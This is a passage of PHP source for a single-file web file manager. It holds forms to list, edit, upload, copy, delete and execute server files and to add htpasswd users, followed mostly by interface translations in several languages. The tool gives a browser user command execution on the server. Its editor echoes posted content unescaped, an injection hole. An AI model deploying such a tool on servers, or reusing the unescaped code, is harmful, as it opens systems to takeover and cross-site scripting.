		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
        $actions = array();
        if (function_exists('symlink')) {
            $actions[] = 'create_symlink';
        }
        if (@is_writable(dirname($file['path']))) {
            $actions[] = 'delete';
            $actions[] = 'rename';
            $actions[] = 'move';
        }
        if ($file['is_file'] && $file['is_readable']) {
            $actions[] = 'copy';
            $actions[] = 'download';
            if ($file['is_writable']) {
                $actions[] = 'edit';
            }
        }
        if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
            $actions[] = 'execute';
        }
        if (sizeof($actions) > 0) {
            echo '		<select class="small" name="action' . $i . '" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
            foreach ($actions as $action) {
                echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
            }
            echo '		</select>
		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
';
        }
        echo "\t</td>\n</tr>\n";
    }
    echo '<tr class="listing_footer">
	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
	<td colspan="' . ($cols - 1) . '">
		<input type="hidden" name="num" value="' . sizeof($list) . '" />
		<input type="hidden" name="focus" value="" />
		<input type="hidden" name="olddir" value="' . html($directory) . '" />
';
    $actions = array();
    if (@is_writable(dirname($file['path']))) {
        $actions[] = 'delete';
        $actions[] = 'move';
    }
    $actions[] = 'copy';
    echo '		<select class="small" name="action_all" size="1">
		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
';
    foreach ($actions as $action) {
        echo "\t\t<option value=\"{$action}\">" . word($action) . "</option>\n";
    }
    echo "\t\t</select>\n\t\t<input class=\"small\" type=\"submit\" name=\"submit_all\" value=\" &gt; \" onfocus=\"activate('other')\" />\n\t</td>\n</tr>\n";
}
function column_title($column, $sort, $reverse)
{
    global $self, $directory;
    $d = 'dir=' . urlencode($directory) . '&amp;';
    $arr = '';
    if ($sort == $column) {
        if (!$reverse) {
            $r = '&amp;reverse=true';
            $arr = ' &and;';
        } else {
            $arr = ' &or;';
        }
    } else {
        $r = '';
    }
    echo "\t<th class=\"{$column}\"><a href=\"{$self}?{$d}sort={$column}{$r}\">" . word($column) . "</a>{$arr}</th>\n";
}
function directory_choice()
{
    global $directory, $homedir, $cols, $self;
    echo '<tr>
	<td colspan="' . $cols . '" id="directory">
		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
	</td>
</tr>
';
}
function upload_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="upload">
		' . word('file') . ':
		<input type="file" name="upload" onfocus="activate(\'other\')" />
		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
	</td>
</tr>
';
}
function create_box()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" id="create">
		<select name="create_type" size="1" onfocus="activate(\'create\')">
		<option value="file">' . word('file') . '</option>
		<option value="directory">' . word('directory') . '</option>
		</select>
		<input type="text" name="create_name" onfocus="activate(\'create\')" />
		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
	</td>
</tr>
';
}
function edit($file)
{
    global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
    html_header();
    echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>

<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
    if (array_key_exists('content', $_POST)) {
        echo $_POST['content'];
    } else {
        $f = fopen($file, 'r');
        while (!feof($f)) {
            echo html(fread($f, 8192));
        }
        fclose($f);
    }
    if (!empty($_POST['user'])) {
        echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
    }
    if (!empty($_POST['basic_auth'])) {
        if ($win) {
            $authfile = str_replace('\\', '/', $directory) . $htpasswd;
        } else {
            $authfile = $directory . $htpasswd;
        }
        echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
        echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
        echo "Require valid-user";
    }
    echo "</textarea>\n\n\t<hr />\n";
    if ($apache && basename($file) == $htpasswd) {
        echo '
	' . word('user') . ': <input type="text" name="user" />
	' . word('password') . ': <input type="password" name="password" />
	<input type="submit" value="' . word('add') . '" />

	<hr />
';
    }
    if ($apache && basename($file) == $htaccess) {
        echo '
	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />

	<hr />
';
    }
    echo '
	<input type="hidden" name="action" value="edit" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<input type="reset" value="' . word('reset') . '" id="red_button" />
	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
    html_footer();
}
function spacer()
{
    global $cols;
    echo '<tr>
	<td colspan="' . $cols . '" style="height: 1em"></td>
</tr>
';
}
function textfieldsize($content)
{
    $size = strlen($content) + 5;
    if ($size < 30) {
        $size = 30;
    }
    return $size;
}
function request_dump()
{
    foreach ($_REQUEST as $key => $value) {
        echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
    }
}
/* ------------------------------------------------------------------------- */
function html($string)
{
    global $site_charset;
    return htmlentities($string, ENT_COMPAT, $site_charset);
}
function word($word)
{
    global $words, $word_charset;
    return htmlentities($words[$word], ENT_COMPAT, $word_charset);
}
function phrase($phrase, $arguments)
{
    global $words;
    static $search;
    if (!is_array($search)) {
        for ($i = 1; $i <= 8; $i++) {
            $search[] = "%{$i}";
        }
    }
    for ($i = 0; $i < sizeof($arguments); $i++) {
        $arguments[$i] = nl2br(html($arguments[$i]));
    }
    $replace = array('{' => '<pre>', '}' => '</pre>', '[' => '<b>', ']' => '</b>');
    return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
}
function getwords($lang)
{
    global $date_format, $word_charset;
    $word_charset = 'UTF-8';
    switch ($lang) {
        case 'de':
            $date_format = 'd.m.y H:i:s';
            return array("directory" => "Verzeichnis", "file" => "Datei", "filename" => "Dateiname", "size" => "Gr\xc3\xb6\xc3\x9fe", "permission" => "Rechte", "owner" => "Eigner", "group" => "Gruppe", "other" => "Andere", "functions" => "Funktionen", "read" => "lesen", "write" => "schreiben", "execute" => "ausf\xc3\xbchren", "create_symlink" => "Symlink erstellen", "delete" => "l\xc3\xb6schen", "rename" => "umbenennen", "move" => "verschieben", "copy" => "kopieren", "edit" => "editieren", "download" => "herunterladen", "upload" => "hochladen", "create" => "erstellen", "change" => "wechseln", "save" => "speichern", "set" => "setze", "reset" => "zur\xc3\xbccksetzen", "relative" => "Pfad zum Ziel relativ", "yes" => "Ja", "no" => "Nein", "back" => "zur\xc3\xbcck", "destination" => "Ziel", "symlink" => "Symbolischer Link", "no_output" => "keine Ausgabe", "user" => "Benutzername", "password" => "Kennwort", "add" => "hinzuf\xc3\xbcgen", "add_basic_auth" => "HTTP-Basic-Auth hinzuf\xc3\xbcgen", "uploaded" => "\"[%1]\" wurde hochgeladen.", "not_uploaded" => "\"[%1]\" konnte nicht hochgeladen werden.", "already_exists" => "\"[%1]\" existiert bereits.", "created" => "\"[%1]\" wurde erstellt.", "not_created" => "\"[%1]\" konnte nicht erstellt werden.", "really_delete" => "Sollen folgende Dateien wirklich gel\xc3\xb6scht werden?", "deleted" => "Folgende Dateien wurden gel\xc3\xb6scht:\n[%1]", "not_deleted" => "Folgende Dateien konnten nicht gel\xc3\xb6scht werden:\n[%1]", "rename_file" => "Benenne Datei um:", "renamed" => "\"[%1]\" wurde in \"[%2]\" umbenannt.", "not_renamed" => "\"[%1] konnte nicht in \"[%2]\" umbenannt werden.", "move_files" => "Verschieben folgende Dateien:", "moved" => "Folgende Dateien wurden nach \"[%2]\" verschoben:\n[%1]", "not_moved" => "Folgende Dateien konnten nicht nach \"[%2]\" verschoben werden:\n[%1]", "copy_files" => "Kopiere folgende Dateien:", "copied" => "Folgende Dateien wurden nach \"[%2]\" kopiert:\n[%1]", "not_copied" => "Folgende Dateien konnten nicht nach \"[%2]\" kopiert werden:\n[%1]", "not_edited" => "\"[%1]\" kann nicht editiert werden.", "executed" => "\"[%1]\" wurde erfolgreich ausgef\xc3\xbchrt:\n{%2}", "not_executed" => "\"[%1]\" konnte nicht erfolgreich ausgef\xc3\xbchrt werden:\n{%2}", "saved" => "\"[%1]\" wurde gespeichert.", "not_saved" => "\"[%1]\" konnte nicht gespeichert werden.", "symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" wurde erstellt.", "not_symlinked" => "Symbolischer Link von \"[%2]\" nach \"[%1]\" konnte nicht erstellt werden.", "permission_for" => "Rechte f\xc3\xbcr \"[%1]\":", "permission_set" => "Die Rechte f\xc3\xbcr \"[%1]\" wurden auf [%2] gesetzt.", "permission_not_set" => "Die Rechte f\xc3\xbcr \"[%1]\" konnten nicht auf [%2] gesetzt werden.", "not_readable" => "\"[%1]\" kann nicht gelesen werden.");
        case 'fr':
            $date_format = 'd.m.y H:i:s';
            return array("directory" => "R\xc3\xa9pertoire", "file" => "Fichier", "filename" => "Nom fichier", "size" => "Taille", "permission" => "Droits", "owner" => "Propri\xc3\xa9taire", "group" => "Groupe", "other" => "Autres", "functions" => "Fonctions", "read" => "Lire", "write" => "Ecrire", "execute" => "Ex\xc3\xa9cuter", "create_symlink" => "Cr\xc3\xa9er lien symbolique", "delete" => "Effacer", "rename" => "Renommer", "move" => "D\xc3\xa9placer", "copy" => "Copier", "edit" => "Ouvrir", "download" => "T\xc3\xa9l\xc3\xa9charger sur PC", "upload" => "T\xc3\xa9l\xc3\xa9charger sur serveur", "create" => "Cr\xc3\xa9er", "change" => "Changer", "save" => "Sauvegarder", "set" => "Ex\xc3\xa9cuter", "reset" => "R\xc3\xa9initialiser", "relative" => "Relatif", "yes" => "Oui", "no" => "Non", "back" => "Retour", "destination" => "Destination", "symlink" => "Lien symbollique", "no_output" => "Pas de sortie", "user" => "Utilisateur", "password" => "Mot de passe", "add" => "Ajouter", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "not_uploaded" => "\"[%1]\" n a pas \xc3\xa9t\xc3\xa9 t\xc3\xa9l\xc3\xa9charg\xc3\xa9 sur le serveur.", "already_exists" => "\"[%1]\" existe d\xc3\xa9j\xc3\xa0.", "created" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9\xc3\xa9.", "not_created" => "\"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "really_delete" => "Effacer le fichier?", "deleted" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9tuits:\n[%1]", "not_deleted" => "Ces fichiers n ont pu \xc3\xaatre d\xc3\xa9truits:\n[%1]", "rename_file" => "Renomme fichier:", "renamed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 renomm\xc3\xa9 en \"[%2]\".", "not_renamed" => "\"[%1] n a pas pu \xc3\xaatre renomm\xc3\xa9 en \"[%2]\".", "move_files" => "D\xc3\xa9placer ces fichiers:", "moved" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "not_moved" => "Ces fichiers n ont pas pu \xc3\xaatre d\xc3\xa9plac\xc3\xa9s en \"[%2]\":\n[%1]", "copy_files" => "Copier ces fichiers:", "copied" => "Ces fichiers ont \xc3\xa9t\xc3\xa9 copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_copied" => "Ces fichiers n ont pas pu \xc3\xaatre copi\xc3\xa9s en \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" ne peut \xc3\xaatre ouvert.", "executed" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 brillamment ex\xc3\xa9cut\xc3\xa9 :\n{%2}", "not_executed" => "\"[%1]\" n a pas pu \xc3\xaatre ex\xc3\xa9cut\xc3\xa9:\n{%2}", "saved" => "\"[%1]\" a \xc3\xa9t\xc3\xa9 sauvegard\xc3\xa9.", "not_saved" => "\"[%1]\" n a pas pu \xc3\xaatre sauvegard\xc3\xa9.", "symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" a \xc3\xa9t\xc3\xa9 cr\xc3\xa9e.", "not_symlinked" => "Un lien symbolique depuis \"[%2]\" vers \"[%1]\" n a pas pu \xc3\xaatre cr\xc3\xa9\xc3\xa9.", "permission_for" => "Droits de \"[%1]\":", "permission_set" => "Droits de \"[%1]\" ont \xc3\xa9t\xc3\xa9 chang\xc3\xa9s en [%2].", "permission_not_set" => "Droits de \"[%1]\" n ont pas pu \xc3\xaatre chang\xc3\xa9s en[%2].", "not_readable" => "\"[%1]\" ne peut pas \xc3\xaatre ouvert.");
        case 'it':
            $date_format = 'd-m-Y H:i:s';
            return array("directory" => "Directory", "file" => "File", "filename" => "Nome File", "size" => "Dimensioni", "permission" => "Permessi", "owner" => "Proprietario", "group" => "Gruppo", "other" => "Altro", "functions" => "Funzioni", "read" => "leggi", "write" => "scrivi", "execute" => "esegui", "create_symlink" => "crea link simbolico", "delete" => "cancella", "rename" => "rinomina", "move" => "sposta", "copy" => "copia", "edit" => "modifica", "download" => "download", "upload" => "upload", "create" => "crea", "change" => "cambia", "save" => "salva", "set" => "imposta", "reset" => "reimposta", "relative" => "Percorso relativo per la destinazione", "yes" => "Si", "no" => "No", "back" => "indietro", "destination" => "Destinazione", "symlink" => "Link simbolico", "no_output" => "no output", "user" => "User", "password" => "Password", "add" => "aggiungi", "add_basic_auth" => "aggiungi autenticazione base", "uploaded" => "\"[%1]\" \xc3\xa8 stato caricato.", "not_uploaded" => "\"[%1]\" non \xc3\xa8 stato caricato.", "already_exists" => "\"[%1]\" esiste gi\xc3\xa0.", "created" => "\"[%1]\" \xc3\xa8 stato creato.", "not_created" => "\"[%1]\" non \xc3\xa8 stato creato.", "really_delete" => "Cancello questi file ?", "deleted" => "Questi file sono stati cancellati:\n[%1]", "not_deleted" => "Questi file non possono essere cancellati:\n[%1]", "rename_file" => "File rinominato:", "renamed" => "\"[%1]\" \xc3\xa8 stato rinominato in \"[%2]\".", "not_renamed" => "\"[%1] non \xc3\xa8 stato rinominato in \"[%2]\".", "move_files" => "Sposto questi file:", "moved" => "Questi file sono stati spostati in \"[%2]\":\n[%1]", "not_moved" => "Questi file non possono essere spostati in \"[%2]\":\n[%1]", "copy_files" => "Copio questi file", "copied" => "Questi file sono stati copiati in \"[%2]\":\n[%1]", "not_copied" => "Questi file non possono essere copiati in \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" non pu\xc3\xb2 essere modificato.", "executed" => "\"[%1]\" \xc3\xa8 stato eseguito con successo:\n{%2}", "not_executed" => "\"[%1]\" non \xc3\xa8 stato eseguito con successo\n{%2}", "saved" => "\"[%1]\" \xc3\xa8 stato salvato.", "not_saved" => "\"[%1]\" non \xc3\xa8 stato salvato.", "symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" \xc3\xa8 stato creato.", "not_symlinked" => "Il link siambolico da \"[%2]\" a \"[%1]\" non \xc3\xa8 stato creato.", "permission_for" => "Permessi di \"[%1]\":", "permission_set" => "I permessi di \"[%1]\" sono stati impostati [%2].", "permission_not_set" => "I permessi di \"[%1]\" non sono stati impostati [%2].", "not_readable" => "\"[%1]\" non pu\xc3\xb2 essere letto.");
        case 'nl':
            $date_format = 'n/j/y H:i:s';
            return array("directory" => "Directory", "file" => "Bestand", "filename" => "Bestandsnaam", "size" => "Grootte", "permission" => "Bevoegdheid", "owner" => "Eigenaar", "group" => "Groep", "other" => "Anderen", "functions" => "Functies", "read" => "lezen", "write" => "schrijven", "execute" => "uitvoeren", "create_symlink" => "maak symlink", "delete" => "verwijderen", "rename" => "hernoemen", "move" => "verplaatsen", "copy" => "kopieren", "edit" => "bewerken", "download" => "downloaden", "upload" => "uploaden", "create" => "aanmaken", "change" => "veranderen", "save" => "opslaan", "set" => "instellen", "reset" => "resetten", "relative" => "Relatief pat naar doel", "yes" => "Ja", "no" => "Nee", "back" => "terug", "destination" => "Bestemming", "symlink" => "Symlink", "no_output" => "geen output", "user" => "Gebruiker", "password" => "Wachtwoord", "add" => "toevoegen", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" is verstuurd.", "not_uploaded" => "\"[%1]\" kan niet worden verstuurd.", "already_exists" => "\"[%1]\" bestaat al.", "created" => "\"[%1]\" is aangemaakt.", "not_created" => "\"[%1]\" kan niet worden aangemaakt.", "really_delete" => "Deze bestanden verwijderen?", "deleted" => "Deze bestanden zijn verwijderd:\n[%1]", "not_deleted" => "Deze bestanden konden niet worden verwijderd:\n[%1]", "rename_file" => "Bestandsnaam veranderen:", "renamed" => "\"[%1]\" heet nu \"[%2]\".", "not_renamed" => "\"[%1] kon niet worden veranderd in \"[%2]\".", "move_files" => "Verplaats deze bestanden:", "moved" => "Deze bestanden zijn verplaatst naar \"[%2]\":\n[%1]", "not_moved" => "Kan deze bestanden niet verplaatsen naar \"[%2]\":\n[%1]", "copy_files" => "Kopieer deze bestanden:", "copied" => "Deze bestanden zijn gekopieerd naar \"[%2]\":\n[%1]", "not_copied" => "Deze bestanden kunnen niet worden gekopieerd naar \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan niet worden bewerkt.", "executed" => "\"[%1]\" is met succes uitgevoerd:\n{%2}", "not_executed" => "\"[%1]\" is niet goed uitgevoerd:\n{%2}", "saved" => "\"[%1]\" is opgeslagen.", "not_saved" => "\"[%1]\" is niet opgeslagen.", "symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is aangemaakt.", "not_symlinked" => "Symlink van \"[%2]\" naar \"[%1]\" is niet aangemaakt.", "permission_for" => "Bevoegdheid voor \"[%1]\":", "permission_set" => "Bevoegdheid van \"[%1]\" is ingesteld op [%2].", "permission_not_set" => "Bevoegdheid van \"[%1]\" is niet ingesteld op [%2].", "not_readable" => "\"[%1]\" kan niet worden gelezen.");
        case 'se':
            $date_format = 'n/j/y H:i:s';
            return array("directory" => "Mapp", "file" => "Fil", "filename" => "Filnamn", "size" => "Storlek", "permission" => "S\xc3\xa4kerhetsniv\xc3\xa5", "owner" => "\xc3\x84gare", "group" => "Grupp", "other" => "Andra", "functions" => "Funktioner", "read" => "L\xc3\xa4s", "write" => "Skriv", "execute" => "Utf\xc3\xb6r", "create_symlink" => "Skapa symlink", "delete" => "Radera", "rename" => "Byt namn", "move" => "Flytta", "copy" => "Kopiera", "edit" => "\xc3\x84ndra", "download" => "Ladda ner", "upload" => "Ladda upp", "create" => "Skapa", "change" => "\xc3\x84ndra", "save" => "Spara", "set" => "Markera", "reset" => "T\xc3\xb6m", "relative" => "Relative path to target", "yes" => "Ja", "no" => "Nej", "back" => "Tillbaks", "destination" => "Destination", "symlink" => "Symlink", "no_output" => "no output", "user" => "Anv\xc3\xa4ndare", "password" => "L\xc3\xb6senord", "add" => "L\xc3\xa4gg till", "add_basic_auth" => "add basic-authentification", "uploaded" => "\"[%1]\" har laddats upp.", "not_uploaded" => "\"[%1]\" kunde inte laddas upp.", "already_exists" => "\"[%1]\" finns redan.", "created" => "\"[%1]\" har skapats.", "not_created" => "\"[%1]\" kunde inte skapas.", "really_delete" => "Radera dessa filer?", "deleted" => "De h\xc3\xa4r filerna har raderats:\n[%1]", "not_deleted" => "Dessa filer kunde inte raderas:\n[%1]", "rename_file" => "Byt namn p\xc3\xa5 fil:", "renamed" => "\"[%1]\" har bytt namn till \"[%2]\".", "not_renamed" => "\"[%1] kunde inte d\xc3\xb6pas om till \"[%2]\".", "move_files" => "Flytta dessa filer:", "moved" => "Dessa filer har flyttats till \"[%2]\":\n[%1]", "not_moved" => "Dessa filer kunde inte flyttas till \"[%2]\":\n[%1]", "copy_files" => "Kopiera dessa filer:", "copied" => "Dessa filer har kopierats till \"[%2]\":\n[%1]", "not_copied" => "Dessa filer kunde inte kopieras till \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan inte \xc3\xa4ndras.", "executed" => "\"[%1]\" har utf\xc3\xb6rts:\n{%2}", "not_executed" => "\"[%1]\" kunde inte utf\xc3\xb6ras:\n{%2}", "saved" => "\"[%1]\" har sparats.", "not_saved" => "\"[%1]\" kunde inte sparas.", "symlinked" => "Symlink fr\xc3\xa5n \"[%2]\" till \"[%1]\" har skapats.", "not_symlinked" => "Symlink fr\xc3\xa5n \"[%2]\" till \"[%1]\" kunde inte skapas.", "permission_for" => "R\xc3\xa4ttigheter f\xc3\xb6r \"[%1]\":", "permission_set" => "R\xc3\xa4ttigheter f\xc3\xb6r \"[%1]\" \xc3\xa4ndrades till [%2].", "permission_not_set" => "Permission of \"[%1]\" could not be set to [%2].", "not_readable" => "\"[%1]\" kan inte l\xc3\xa4sas.");
        case 'sp':
            $date_format = 'j/n/y H:i:s';
            return array("directory" => "Directorio", "file" => "Archivo", "filename" => "Nombre Archivo", "size" => "Tama\xc3\xb1o", "permission" => "Permisos", "owner" => "Propietario", "group" => "Grupo", "other" => "Otros", "functions" => "Funciones", "read" => "lectura", "write" => "escritura", "execute" => "ejecuci\xc3\xb3n", "create_symlink" => "crear enlace", "delete" => "borrar", "rename" => "renombrar", "move" => "mover", "copy" => "copiar", "edit" => "editar", "download" => "bajar", "upload" => "subir", "create" => "crear", "change" => "cambiar", "save" => "salvar", "set" => "setear", "reset" => "resetear", "relative" => "Path relativo", "yes" => "Si", "no" => "No", "back" => "atr\xc3\xa1s", "destination" => "Destino", "symlink" => "Enlace", "no_output" => "sin salida", "user" => "Usuario", "password" => "Clave", "add" => "agregar", "add_basic_auth" => "agregar autentificaci\xc3\xb3n b\xc3\xa1sica", "uploaded" => "\"[%1]\" ha sido subido.", "not_uploaded" => "\"[%1]\" no pudo ser subido.", "already_exists" => "\"[%1]\" ya existe.", "created" => "\"[%1]\" ha sido creado.", "not_created" => "\"[%1]\" no pudo ser creado.", "really_delete" => "\xc2\xbfBorra estos archivos?", "deleted" => "Estos archivos han sido borrados:\n[%1]", "not_deleted" => "Estos archivos no pudieron ser borrados:\n[%1]", "rename_file" => "Renombra archivo:", "renamed" => "\"[%1]\" ha sido renombrado a \"[%2]\".", "not_renamed" => "\"[%1] no pudo ser renombrado a \"[%2]\".", "move_files" => "Mover estos archivos:", "moved" => "Estos archivos han sido movidos a \"[%2]\":\n[%1]", "not_moved" => "Estos archivos no pudieron ser movidos a \"[%2]\":\n[%1]", "copy_files" => "Copiar estos archivos:", "copied" => "Estos archivos han sido copiados a  \"[%2]\":\n[%1]", "not_copied" => "Estos archivos no pudieron ser copiados \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" no pudo ser editado.", "executed" => "\"[%1]\" ha sido ejecutado correctamente:\n{%2}", "not_executed" => "\"[%1]\" no pudo ser ejecutado correctamente:\n{%2}", "saved" => "\"[%1]\" ha sido salvado.", "not_saved" => "\"[%1]\" no pudo ser salvado.", "symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" ha sido creado.", "not_symlinked" => "Enlace desde \"[%2]\" a \"[%1]\" no pudo ser creado.", "permission_for" => "Permisos de \"[%1]\":", "permission_set" => "Permisos de \"[%1]\" fueron seteados a [%2].", "permission_not_set" => "Permisos de \"[%1]\" no pudo ser seteado a [%2].", "not_readable" => "\"[%1]\" no pudo ser le\xc3\xaddo.");
        case 'dk':
            $date_format = 'n/j/y H:i:s';
            return array("directory" => "Mappe", "file" => "Fil", "filename" => "Filnavn", "size" => "St\xc3\xb8rrelse", "permission" => "Rettighed", "owner" => "Ejer", "group" => "Gruppe", "other" => "Andre", "functions" => "Funktioner", "read" => "l\xc3\xa6s", "write" => "skriv", "execute" => "k\xc3\xb8r", "create_symlink" => "opret symbolsk link", "delete" => "slet", "rename" => "omd\xc3\xb8b", "move" => "flyt", "copy" => "kopier", "edit" => "rediger", "download" => "download", "upload" => "upload", "create" => "opret", "change" => "skift", "save" => "gem", "set" => "s\xc3\xa6t", "reset" => "nulstil", "relative" => "Relativ sti til valg", "yes" => "Ja", "no" => "Nej", "back" => "tilbage", "destination" => "Distination", "symlink" => "Symbolsk link", "no_output" => "ingen resultat", "user" => "Bruger", "password" => "Kodeord", "add" => "tilf\xc3\xb8j", "add_basic_auth" => "tilf\xc3\xb8j grundliggende rettigheder", "uploaded" => "\"[%1]\" er blevet uploaded.", "not_uploaded" => "\"[%1]\" kunnu ikke uploades.", "already_exists" => "\"[%1]\" findes allerede.", "created" => "\"[%1]\" er blevet oprettet.", "not_created" => "\"[%1]\" kunne ikke oprettes.", "really_delete" => "Slet disse filer?", "deleted" => "Disse filer er blevet slettet:\n[%1]", "not_deleted" => "Disse filer kunne ikke slettes:\n[%1]", "rename_file" => "Omd\xc3\xb8d fil:", "renamed" => "\"[%1]\" er blevet omd\xc3\xb8bt til \"[%2]\".", "not_renamed" => "\"[%1] kunne ikke omd\xc3\xb8bes til \"[%2]\".", "move_files" => "Flyt disse filer:", "moved" => "Disse filer er blevet flyttet til \"[%2]\":\n[%1]", "not_moved" => "Disse filer kunne ikke flyttes til \"[%2]\":\n[%1]", "copy_files" => "Kopier disse filer:", "copied" => "Disse filer er kopieret til \"[%2]\":\n[%1]", "not_copied" => "Disse filer kunne ikke kopieres til \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" kan ikke redigeres.", "executed" => "\"[%1]\" er blevet k\xc3\xb8rt korrekt:\n{%2}", "not_executed" => "\"[%1]\" kan ikke k\xc3\xb8res korrekt:\n{%2}", "saved" => "\"[%1]\" er blevet gemt.", "not_saved" => "\"[%1]\" kunne ikke gemmes.", "symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" er blevet oprettet.", "not_symlinked" => "Symbolsk link fra \"[%2]\" til \"[%1]\" kunne ikke oprettes.", "permission_for" => "Rettigheder for \"[%1]\":", "permission_set" => "Rettigheder for \"[%1]\" blev sat til [%2].", "permission_not_set" => "Rettigheder for \"[%1]\" kunne ikke s\xc3\xa6ttes til [%2].", "not_readable" => "\"[%1]\" Kan ikke l\xc3\xa6ses.");
        case 'tr':
            $date_format = 'n/j/y H:i:s';
            return array("directory" => "Klas\xc3\xb6r", "file" => "Dosya", "filename" => "dosya adi", "size" => "boyutu", "permission" => "Izin", "owner" => "sahib", "group" => "Grup", "other" => "Digerleri", "functions" => "Fonksiyonlar", "read" => "oku", "write" => "yaz", "execute" => "\xc3\xa7alistir", "create_symlink" => "yarat symlink", "delete" => "sil", "rename" => "ad degistir", "move" => "tasi", "copy" => "kopyala", "edit" => "d\xc3\xbczenle", "download" => "indir", "upload" => "y\xc3\xbckle", "create" => "create", "change" => "degistir", "save" => "kaydet", "set" => "ayar", "reset" => "sifirla", "relative" => "Hedef yola g\xc3\xb6re", "yes" => "Evet", "no" => "Hayir", "back" => "Geri", "destination" => "Hedef", "symlink" => "K\xc3\xbdsa yol", "no_output" => "\xc3\xa7ikti yok", "user" => "Kullanici", "password" => "Sifre", "add" => "ekle", "add_basic_auth" => "ekle basit-authentification", "uploaded" => "\"[%1]\" y\xc3\xbcklendi.", "not_uploaded" => "\"[%1]\" y\xc3\xbcklenemedi.", "already_exists" => "\"[%1]\" kullanilmakta.", "created" => "\"[%1]\" olusturuldu.", "not_created" => "\"[%1]\" olusturulamadi.", "really_delete" => "Bu dosyalari silmek istediginizden eminmisiniz?", "deleted" => "Bu dosyalar silindi:\n[%1]", "not_deleted" => "Bu dosyalar silinemedi:\n[%1]", "rename_file" => "Adi degisen dosya:", "renamed" => "\"[%1]\" adili dosyanin yeni adi \"[%2]\".", "not_renamed" => "\"[%1] adi degistirilemedi \"[%2]\" ile.", "move_files" => "Tasinan dosyalar:", "moved" => "Bu dosyalari tasidiginiz yer \"[%2]\":\n[%1]", "not_moved" => "Bu dosyalari tasiyamadiginiz yer \"[%2]\":\n[%1]", "copy_files" => "Kopyalanan dosyalar:", "copied" => "Bu dosyalar kopyalandi \"[%2]\":\n[%1]", "not_copied" => "Bu dosyalar kopyalanamiyor \"[%2]\":\n[%1]", "not_edited" => "\"[%1]\" d\xc3\xbczenlenemiyor.", "executed" => "\"[%1]\" basariyla \xc3\xa7alistirildi:\n{%2}", "not_executed" => "\"[%1]\" \xc3\xa7alistirilamadi:\n{%2}", "saved" => "\"[%1]\" kaydedildi.", "not_saved" => "\"[%1]\" kaydedilemedi.", "symlinked" => "\"[%2]\" den \"[%1]\" e k\xc3\xbdsayol olu\xc3\xbeturuldu.", "not_symlinked" => "\"[%2]\"den \"[%1]\" e k\xc3\xbdsayol olu\xc3\xbeturulamad\xc3\xbd.", "permission_for" => "Izinler \"[%1]\":", "permission_set" => "Izinler \"[%1]\" degistirildi [%2].", "permission_not_set" => "Izinler \"[%1]\" degistirilemedi [%2].", "not_readable" => "\"[%1]\" okunamiyor.");
        case 'cs':
            $date_format = 'd.m.y H:i:s';
